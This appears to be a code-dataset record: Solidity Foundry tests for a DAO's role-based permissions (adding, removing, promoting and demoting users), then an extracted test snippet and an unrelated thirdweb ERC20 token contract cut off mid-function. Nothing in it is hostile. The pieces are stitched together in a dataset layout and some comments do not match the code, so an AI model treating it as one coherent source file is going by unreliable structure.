// Add gUsers[1] and gUsers[2] as Officers
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Officer
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], CreateErorrCallData(gRemovalAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// ============================================
// Test removing Officer user via removeOfficer
// ============================================
function testRemoveOfficerAsOwner() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as the owner
removeAnOfficerNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
}
function testRemoveOfficerAsMember() public {
// Add gUsers[1] as an Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Member
removeAnOfficerWithImpersonateWithRevert(gUsers[2], gUsers[1], "Only owner is allowed");
assertEq(dao.getUserCount(), 3);
}
function testRemoveOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAnOfficerWithImpersonateWithRevert(gUsers[2], gUsers[1], "Only owner is allowed");
assertEq(dao.getUserCount(), 3);
}
function testRemoveOfficerAsOfficer() public {
// Add gUsers[1] and gUsers[2] as Officers
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAnOfficerWithImpersonateWithRevert(gUsers[2], gUsers[1], "Only owner is allowed");
assertEq(dao.getUserCount(), 3);
}
// ==========================
// Test Adding MaxUsers Users
// ==========================
function testAddMaxUsersAsMemberBatched() public {
addMaxUsers(true, AccessType.Member, gBatchSize);
}
function testAddMaxUsersAsMemberNonBatched() public {
addMaxUsers(false, AccessType.Member, gBatchSize);
}
function testAddMaxUsersAsAdminBatched() public {
addMaxUsers(true, AccessType.Admin, gBatchSize);
}
function testAddMaxUsersAsAdminNonBatched() public {
addMaxUsers(false, AccessType.Admin, gBatchSize);
}
function testAddMaxUsersAsOfficerBatched() public {
addMaxUsers(true, AccessType.Officer, gBatchSize);
}
function testAddMaxUsersAsOfficerNonBatched() public {
addMaxUsers(false, AccessType.Officer, gBatchSize);
}
// ============================
// Test Adding MaxUsers+1 Users
// ============================
function testAddMaxUsersPlusAddMemberBatched() public {
addMaxUsers(true, AccessType.Member, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Member, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddMemberNonBatched() public {
addMaxUsers(false, AccessType.Member, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Member, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddAdminBatched() public {
addMaxUsers(true, AccessType.Admin, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Admin, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddAdminNonBatched() public {
addMaxUsers(false, AccessType.Admin, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Admin, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddOfficerBatched() public {
addMaxUsers(true, AccessType.Officer, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Officer, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddOfficerNonBatched() public {
addMaxUsers(false, AccessType.Officer, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Officer, "Max Users Exceeded");
}
// ===============================
// Test Adding a Member user twice
// ===============================
function testAddUserTwiceMemberAsOwner() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Try to add gUsers[1] again as a member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
}
function testAddUserTwiceMemberAsMember() public {
// Add gUsers[1] and gUsers[2] as Members
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ===============================
// Test Adding an Admin user twice
// ===============================
function testAddUserTwiceAdminAsOwner() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Try to add gUsers[1] again as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
}
function testAddUserTwiceAdminAsMember() public {
// Add gUsers[1] and gUsers[2] as Members
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// =================================
// Test Adding an Officer user twice
// =================================
function testAddUserTwiceOfficerAsOwner() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Try to add gUsers[1] again as an Officer
addAUserNoImpersonateWithRevert(gUsers[1], AccessType.Officer, CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Admin), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
function testAddUserTwiceOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// =================================
// Test Removing a Member user twice
// =================================
function testRemoveUserTwiceMemberAsOwner() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1]
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[1], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Admin)));
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserTwiceMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[2], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserTwiceMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[2], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
// =================================
// Test Removing an Admin user twice
// =================================
function testRemoveUserTwiceAdminAsOwner() public {
// Add gUsers[1] as a Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1]
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[1], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Admin)));
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserTwiceAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
// Try again and expect failure
removeAUserNoImpersonateWithRevert(gUsers[2], CreateErorrCallData(gNotUserIdentifier, uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
// ===================================
// Test Removing an Officer user twice
// ===================================
function testRemoveOfficerTwiceAsOwner() public {
// Add gUsers[1] as a Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1]
removeAnOfficerNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
// Try again and expect failure
removeAnOfficerNoImpersonateWithRevert(gUsers[1], "Not an officer");
assertEq(dao.getUserCount(), 1);
}
// ==============================
// Test Removing users in batches
// ==============================
function testRemoveUsersBatched() public {
for(uint i = 0; i < gUsers.length; i++){
addAUserNoImpersonateNoRevert(gUsers[i], AccessType.Member);
}
assertEq(dao.getUserCount(), 10);
removeUsersNoImpersonateNoRevert(gUsers);
assertEq(dao.getUserCount(), 1);
}
function testRemoveUsersBatchedNonExistingUser() public {
address[] memory copy = new address[](gUsers.length);
for(uint i = 0; i < gUsers.length; i++){
addAUserNoImpersonateNoRevert(gUsers[i], AccessType.Member);
copy[i] = gUsers[i];
}
assertEq(dao.getUserCount(), 10);
copy[4] = address(0x12345);
removeUsersNoImpersonateWithRevert(copy, CreateErorrCallData(gNotUserIdentifier, uint256(uint160(copy[4]))));
assertEq(dao.getUserCount(), 10);
copy[4] = gUsers[4];
copy[0] = address(0x12345);
removeUsersNoImpersonateWithRevert(copy, CreateErorrCallData(gNotUserIdentifier, uint256(uint160(copy[0]))));
assertEq(dao.getUserCount(), 10);
copy[0] = gUsers[0];
copy[gUsers.length-1] = address(0x12345);
removeUsersNoImpersonateWithRevert(copy, CreateErorrCallData(gNotUserIdentifier, uint256(uint160(copy[gUsers.length-1]))));
assertEq(dao.getUserCount(), 10);
}
// =================================================
// Test sending/receiving funds to/from the contract
// =================================================
function testDeposit() public {
assertEq(dao.getBalance(), 0);
payable(address(dao)).transfer(1);
assertEq(dao.getBalance(), 1);
payable(address(dao)).transfer(10);
assertEq(dao.getBalance(), 11);
}
function testWithdrawl() public {
assertEq(dao.getBalance(), 0);
payable(address(dao)).transfer(10);
uint256 bal_before = address(this).balance;
dao.transferHbar(payable(address(this)), 1);
assertEq(bal_before, address(this).balance - 1);
}
function testWithdrawlRevert() public {
assertEq(dao.getBalance(), 0);
cheats.expectRevert("");
dao.transferHbar(payable(address(this)), 1);
}
// ================================
// Test promoting a Member to Admin
// ================================
function testPromoteMemberToAdminAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Admin as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Admin as gUsers[1] who is an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Admin as gUsers[1] who is an Officer
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test promoting a Member to Officer
// ==================================
function testPromoteMemberToOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteMemberToOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is an Officer
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Officer, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test promoting an Admin to Officer
// ==================================
function testPromoteAdminToOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteAdminToOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testPromoteAdminToOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Promote gUsers[2] to Officer as gUsers[1] who is a Member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Officer, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// =================================
// Test demoting an Officer to Amdin
// =================================
function testDemoteOfficerToAdminAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Admin as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Admin as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Admin as gUsers[1] who is an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test demoting an Officer to Member
// ==================================
function testDemoteOfficerToMemberAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
function testDemoteOfficerToMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// ================================
// Test demoting an Admin to Member
// ================================
function testDemoteAdminToMemberAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testDemoteAdminToMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testDemoteAdminToMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Demote gUsers[2] to Member as gUsers[1] who is an Officer
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
}
|
================================= Test demoting an Officer to Amdin ================================= Add gUsers[1] as a Member Add gUsers[2] as an Officer Demote gUsers[2] to Admin as gUsers[1] who is a Member
|
function testDemoteOfficerToAdminAsMember() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
| 14,053,819
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
//Interface
import { ITokenERC20 } from "../interfaces/token/ITokenERC20.sol";
// Token
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20VotesUpgradeable.sol";
// Security
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
// Signature utils
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
// Meta transactions
import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol";
// Utils
import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol";
import "../lib/CurrencyTransferLib.sol";
import "../lib/FeeType.sol";
// Thirdweb top-level
import "../interfaces/ITWFee.sol";
contract TokenERC20 is
Initializable,
ReentrancyGuardUpgradeable,
ERC2771ContextUpgradeable,
MulticallUpgradeable,
ERC20BurnableUpgradeable,
ERC20PausableUpgradeable,
ERC20VotesUpgradeable,
ITokenERC20,
AccessControlEnumerableUpgradeable
{
using ECDSAUpgradeable for bytes32;
bytes32 private constant MODULE_TYPE = bytes32("TokenERC20");
uint256 private constant VERSION = 1;
bytes32 private constant TYPEHASH =
keccak256(
"MintRequest(address to,address primarySaleRecipient,uint256 quantity,uint256 price,address currency,uint128 validityStartTimestamp,uint128 validityEndTimestamp,bytes32 uid)"
);
bytes32 internal constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 internal constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 internal constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE");
/// @dev The thirdweb contract with fee related information.
ITWFee internal immutable thirdwebFee;
/// @dev Returns the URI for the storefront-level metadata of the contract.
string public contractURI;
/// @dev Max bps in the thirdweb system
uint128 internal constant MAX_BPS = 10_000;
/// @dev The % of primary sales collected by the contract as fees.
uint128 internal platformFeeBps;
/// @dev The adress that receives all primary sales value.
address internal platformFeeRecipient;
/// @dev The adress that receives all primary sales value.
address public primarySaleRecipient;
/// @dev Mapping from mint request UID => whether the mint request is processed.
mapping(bytes32 => bool) private minted;
constructor(address _thirdwebFee) initializer {
thirdwebFee = ITWFee(_thirdwebFee);
}
/// @dev Initiliazes the contract, like a constructor.
function initialize(
address _defaultAdmin,
string memory _name,
string memory _symbol,
string memory _contractURI,
address[] memory _trustedForwarders,
address _primarySaleRecipient,
address _platformFeeRecipient,
uint256 _platformFeeBps
) external initializer {
__ERC2771Context_init_unchained(_trustedForwarders);
__ERC20Permit_init(_name);
__ERC20_init_unchained(_name, _symbol);
contractURI = _contractURI;
primarySaleRecipient = _primarySaleRecipient;
platformFeeRecipient = _platformFeeRecipient;
platformFeeBps = uint128(_platformFeeBps);
_setupRole(DEFAULT_ADMIN_ROLE, _defaultAdmin);
_setupRole(TRANSFER_ROLE, _defaultAdmin);
_setupRole(MINTER_ROLE, _defaultAdmin);
_setupRole(PAUSER_ROLE, _defaultAdmin);
_setupRole(TRANSFER_ROLE, address(0));
}
/// @dev Returns the module type of the contract.
function contractType() external pure virtual returns (bytes32) {
return MODULE_TYPE;
}
/// @dev Returns the version of the contract.
function contractVersion() external pure virtual returns (uint8) {
return uint8(VERSION);
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20VotesUpgradeable) {
super._afterTokenTransfer(from, to, amount);
}
/// @dev Runs on every transfer.
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
if (!hasRole(TRANSFER_ROLE, address(0)) && from != address(0) && to != address(0)) {
require(hasRole(TRANSFER_ROLE, from) || hasRole(TRANSFER_ROLE, to), "transfers restricted.");
}
}
function _mint(address account, uint256 amount) internal virtual override(ERC20Upgradeable, ERC20VotesUpgradeable) {
super._mint(account, amount);
}
function _burn(address account, uint256 amount) internal virtual override(ERC20Upgradeable, ERC20VotesUpgradeable) {
super._burn(account, amount);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mintTo(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "not minter.");
_mintTo(to, amount);
}
/// @dev Verifies that a mint request is signed by an account holding MINTER_ROLE (at the time of the function call).
function verify(MintRequest calldata _req, bytes calldata _signature) public view returns (bool, address) {
address signer = recoverAddress(_req, _signature);
return (!minted[_req.uid] && hasRole(MINTER_ROLE, signer), signer);
}
/// @dev Mints tokens according to the provided mint request.
function mintWithSignature(MintRequest calldata _req, bytes calldata _signature) external payable nonReentrant {
address signer = verifyRequest(_req, _signature);
address receiver = _req.to == address(0) ? _msgSender() : _req.to;
